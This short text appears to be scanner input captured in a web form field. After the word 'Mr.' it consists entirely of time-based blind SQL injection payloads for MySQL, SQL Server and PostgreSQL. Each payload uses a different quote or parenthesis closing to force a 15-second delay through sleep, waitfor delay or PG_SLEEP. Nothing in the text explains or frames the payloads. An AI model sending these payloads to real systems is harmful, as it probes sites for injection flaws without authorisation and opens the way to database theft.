Mr.

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

-1; waitfor delay '0:0:15' --

-1); waitfor delay '0:0:15' --

-1)); waitfor delay '0:0:15' --

1 waitfor delay '0:0:15' --

CVVbQaUF'; waitfor delay '0:0:15' --

BieplVUf'); waitfor delay '0:0:15' --

h2esKHRw')); waitfor delay '0:0:15' --

-5 OR 664=(SELECT 664 FROM PG_SLEEP(15))--

-5) OR 494=(SELECT 494 FROM PG_SLEEP(15))--